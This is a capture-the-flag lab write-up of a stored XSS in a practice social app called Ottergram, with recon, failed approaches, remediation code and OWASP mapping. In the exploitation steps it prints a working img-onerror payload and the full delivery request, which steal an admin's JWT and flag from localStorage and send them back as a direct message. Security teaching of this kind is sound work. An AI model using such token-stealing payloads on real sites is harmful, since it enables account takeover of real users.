Ottergram: Stored XSS — DM to Admin localStorage Exfil
Overview
- Platform: BugForge
- Vulnerability: Stored Cross-Site Scripting (XSS) via Direct Messages
- Key Technique: Injecting HTML into unsanitized DM content field rendered via
dangerouslySetInnerHTML, triggering JavaScript execution in admin’s browser to exfiltrate localStorage - Result: Full JavaScript execution in admin context; exfiltrated flag and admin JWT from localStorage via self-messaging callback
Objective
Find the flag hidden within the Ottergram application — an Instagram-like social media platform for otter enthusiasts. Second engagement on this target (previous engagement found WebSocket IDOR — different vulnerability class this time).
Initial Access
# Target Application
URL: https://lab-1774652179703-chxke1.labs-app.bugforge.io
# Auth details
Registered users: haxor / haxor2 / haxor3
Auth: JWT (HS256) via POST /api/register, stored in localStorage
JWT payload: {id, username, iat} — no role claim, role is DB-driven
Key Findings
- Stored XSS via Direct Message content (CWE-79: Improper Neutralization of Input During Web Page Generation) — The POST /api/messages
contentfield accepts arbitrary HTML. The React frontend renders inbox messages usingdangerouslySetInnerHTML: {__html: e.content}with zero sanitization on either the server (storage) or client (rendering) side. Any authenticated user can achieve stored XSS in any other user’s browser by sending them a DM.
Attack Chain Visualization
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────────┐
│ Register user │────▶│ Obtain valid JWT │────▶│ Discover flag in │
│ POST /api/ │ │ from response │ │ JS bundle: │
│ register │ │ │ │ localStorage.flag │
└─────────────────┘ └──────────────────┘ └──────────┬──────────┘
│
▼
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────────┐
│ DM to admin │────▶│ Admin opens │────▶│ dangerouslySet │
│ (id=2) with │ │ inbox via │ │ InnerHTML renders │
│ XSS in content │ │ Socket.IO notify │ │ payload as HTML │
└─────────────────┘ └──────────────────┘ └──────────┬──────────┘
│
▼
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────────┐
│ Read flag from │◀────│ Admin's browser │◀────│ JS reads │
│ attacker inbox │ │ POSTs flag back │ │ localStorage.flag │
│ (sent by admin) │ │ as DM to attacker│ │ + localStorage. │
│ │ │ using admin's JWT│ │ token │
└─────────────────┘ └──────────────────┘ └─────────────────────┘
Application Architecture
| Component | Path | Description |
|---|---|---|
| Frontend | React (CRA build) | Instagram-clone UI with posts, likes, comments, DMs |
| Backend | Express.js | REST API + Socket.IO for real-time notifications |
| Auth | JWT (HS256) | Token contains {id, username, iat}, role stored server-side in DB |
| Real-time | Socket.IO | WebSocket notifications — new-message events trigger inbox refresh |
| File uploads | multipart/form-data | UUID filenames stored in /uploads/ |
| CORS | Wildcard | Access-Control-Allow-Origin: * |
Exploitation Path
Step 1: Reconnaissance — Map the API Surface and Identify Sinks
Intercepted HTTP traffic via Caido and extracted routes from the React JS bundle (/static/js/main.dd5901b1.js). Key discoveries:
- DM rendering sink: Inbox component uses
dangerouslySetInnerHTML: {__html: e.content}to render message content — a classic XSS sink. - Flag location: JS bundle contains
if(s&&"admin"===s.role){const e=localStorage.getItem("flag");...}— the flag is stored in the admin user’slocalStorage("flag"). - Admin bot behavior: Socket.IO
new-messageevents trigger the admin to open their inbox, meaning any DM to admin will be rendered.
Key endpoints mapped:
POST /api/messages — send DM {recipient_id, content}
GET /api/messages/inbox — view received messages
GET /api/verify-token — returns user object with role
GET /api/admin/* — admin panel (server-side role check)
Step 2: Eliminate Dead Ends — Mass Assignment and External Exfil
Before testing XSS, checked if there was a simpler path to admin:
- Mass assignment on
/api/registerwithrole: "admin"— server filtered the field, returnedrole: "user" - Mass assignment on
PUT /api/profilewithrole: "admin"— returned 200 but/api/verify-tokenstill showedrole: "user"(field silently ignored) - External exfiltration via CloudFlare tunnel — payload fired but no callback received. The lab bot possibly cannot reach external URLs, so we will try exfil from within the application.
This confirmed: no shortcut to admin, and data exfiltration possible using the app’s own API endpoints.
Step 3: Craft Self-Contained XSS Payload
Since external exfil seemed blocked, the payload needed to:
- Read
localStorage("flag")andlocalStorage("token")from the admin’s browser - Use the admin’s own JWT to POST the flag back to the attacker as a DM via
/api/messages
<img src=x onerror="var t=localStorage.getItem('token');var f=localStorage.getItem('flag')||'no-flag';fetch('/api/messages',{method:'POST',headers:{'Content-Type':'application/json','Authorization':'Bearer '+t},body:JSON.stringify({recipient_id:5,content:f})})">
How it works:
<img src=x>triggersonerrorbecausexis not a valid imageonerrorhandler reads the admin’s JWT and flag from localStorage- Uses
fetch()to POST the flag as a DM to the attacker (user id=5) - Entirely self-contained — no external callbacks needed
Step 4: Deliver Payload and Retrieve Flag
Sent the XSS payload as a DM to admin (user id=2):
POST /api/messages HTTP/1.1
Authorization: Bearer <attacker_jwt>
Content-Type: application/json
{"recipient_id":2,"content":"<img src=x onerror=\"var t=localStorage.getItem('token');var f=localStorage.getItem('flag')||'no-flag';fetch('/api/messages',{method:'POST',headers:{'Content-Type':'application/json','Authorization':'Bearer '+t},body:JSON.stringify({recipient_id:5,content:f})})\">"}
The admin bot received the Socket.IO new-message notification, opened its inbox, and dangerouslySetInnerHTML rendered the payload. The admin’s browser executed the JavaScript, read the flag from localStorage, and POSTed it back as a DM.
Checked attacker’s inbox — message from admin (sender_id=2) containing the flag:
{"id":14,"sender_id":2,"recipient_id":5,"content":"bug{XkGWX1AeLZxcWuM9iB4OankQ0Rtxns0b}","is_read":0,"created_at":"2026-03-27 23:19:26","sender_username":"admin"}
Flag / Objective Achieved
bug{XkGWX1AeLZxcWuM9iB4OankQ0Rtxns0b}
Exfiltrated from admin’s localStorage("flag") via stored XSS in the DM system.
Key Learnings
dangerouslySetInnerHTMLis exactly as dangerous as the name implies. React’s default behavior escapes HTML in JSX expressions ({e.content}). The explicit opt-in to raw HTML rendering (dangerouslySetInnerHTML) must always be paired with server-side sanitization or a client-side library like DOMPurify.- When external exfil is blocked, use the application against itself. The admin bot couldn’t reach external URLs, so the payload used the app’s own messaging API to send the flag back. The victim’s own authenticated session becomes the exfiltration channel.
- JS bundles reveal both sinks and secrets. The bundle exposed both the
dangerouslySetInnerHTMLsink and the fact that the flag was inlocalStorage("flag")— the full attack chain was discoverable from source review alone. - Socket.IO notifications create reliable trigger mechanisms. The
new-messageevent ensured the admin would open the inbox and render the payload without any social engineering or timing dependency.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
| Mass assignment on register (role: “admin”) | Role field ignored | Server filters allowed fields on registration |
| Mass assignment on PUT /api/profile (role: “admin”) | 200 OK but role unchanged | Server accepts request but ignores role field |
| External exfil via CloudFlare tunnel | Payload sent, no callback | Lab bot may not be able to reach external URLs — sandboxed environment |
Tools Used
| Tool | Purpose |
|---|---|
| Caido | HTTP traffic interception and API mapping |
| Browser DevTools | JS bundle analysis — found dangerouslySetInnerHTML sink and flag location |
| curl / Caido Replay | Payload delivery and inbox verification |
Remediation
1. Stored XSS via Direct Messages — Missing Input Sanitization (CVSS: 9.6 - Critical)
CVSS v3.1 Vector: AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Issue: The DM content field is stored as-is (no sanitization) and rendered using dangerouslySetInnerHTML (no escaping). Any authenticated user can execute arbitrary JavaScript in any other user’s browser by sending a crafted message.
CWE Reference: CWE-79 — Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)
Fix (Server-side — sanitize before storage):
// BEFORE (Vulnerable)
app.post('/api/messages', auth, async (req, res) => {
const { recipient_id, content } = req.body;
await db.run(
'INSERT INTO messages (sender_id, recipient_id, content) VALUES (?, ?, ?)',
[req.user.id, recipient_id, content]
);
});
// AFTER (Secure — strip all HTML tags)
const sanitizeHtml = require('sanitize-html');
app.post('/api/messages', auth, async (req, res) => {
const { recipient_id, content } = req.body;
const cleanContent = sanitizeHtml(content, { allowedTags: [], allowedAttributes: {} });
await db.run(
'INSERT INTO messages (sender_id, recipient_id, content) VALUES (?, ?, ?)',
[req.user.id, recipient_id, cleanContent]
);
});
Fix (Client-side — stop using dangerouslySetInnerHTML):
// BEFORE (Vulnerable)
<div dangerouslySetInnerHTML={{__html: message.content}} />
// AFTER (Secure — React auto-escapes text content)
<div>{message.content}</div>
2. Sensitive Data in localStorage (CVSS: 4.3 - Medium)
Issue: The admin’s flag and JWT are stored in localStorage, which is accessible to any JavaScript running on the page. Combined with XSS, this enables immediate exfiltration.
CWE Reference: CWE-922 — Insecure Storage of Sensitive Information
Fix:
- Store session tokens in httpOnly cookies (inaccessible to JavaScript)
- Never store secrets/flags in client-side storage
- Use SameSite=Strict and Secure cookie flags
3. Wildcard CORS Configuration (CVSS: 5.3 - Medium)
Issue: Access-Control-Allow-Origin: * allows any origin to make authenticated cross-origin requests (when combined with credential leakage from XSS or other vectors).
CWE Reference: CWE-942 — Permissive Cross-domain Policy with Untrusted Domains
Fix:
// BEFORE (Vulnerable)
app.use(cors()); // defaults to Access-Control-Allow-Origin: *
// AFTER (Secure)
app.use(cors({
origin: 'https://your-app-domain.com',
credentials: true
}));
OWASP Top 10 Coverage
- A03:2021 — Injection — Primary finding. Unsanitized user input in DM content rendered as HTML in victim’s browser, enabling stored XSS.
- A07:2021 — Identification and Authentication Failures — JWT and sensitive data stored in localStorage rather than httpOnly cookies, enabling client-side exfiltration.
- A05:2021 — Security Misconfiguration — Wildcard CORS policy (
Access-Control-Allow-Origin: *) widens the attack surface for cross-origin attacks.
References
- OWASP Testing Guide — Stored XSS
- CWE-79: Improper Neutralization of Input During Web Page Generation
- React — dangerouslySetInnerHTML Documentation
- OWASP XSS Prevention Cheat Sheet
- PortSwigger — Stored XSS
Tags: #xss #stored-xss #dangerouslysetinnerhtml #localstorage-exfil #react #bugforge #dm-injection
Document Version: 1.0
Last Updated: 2026-03-27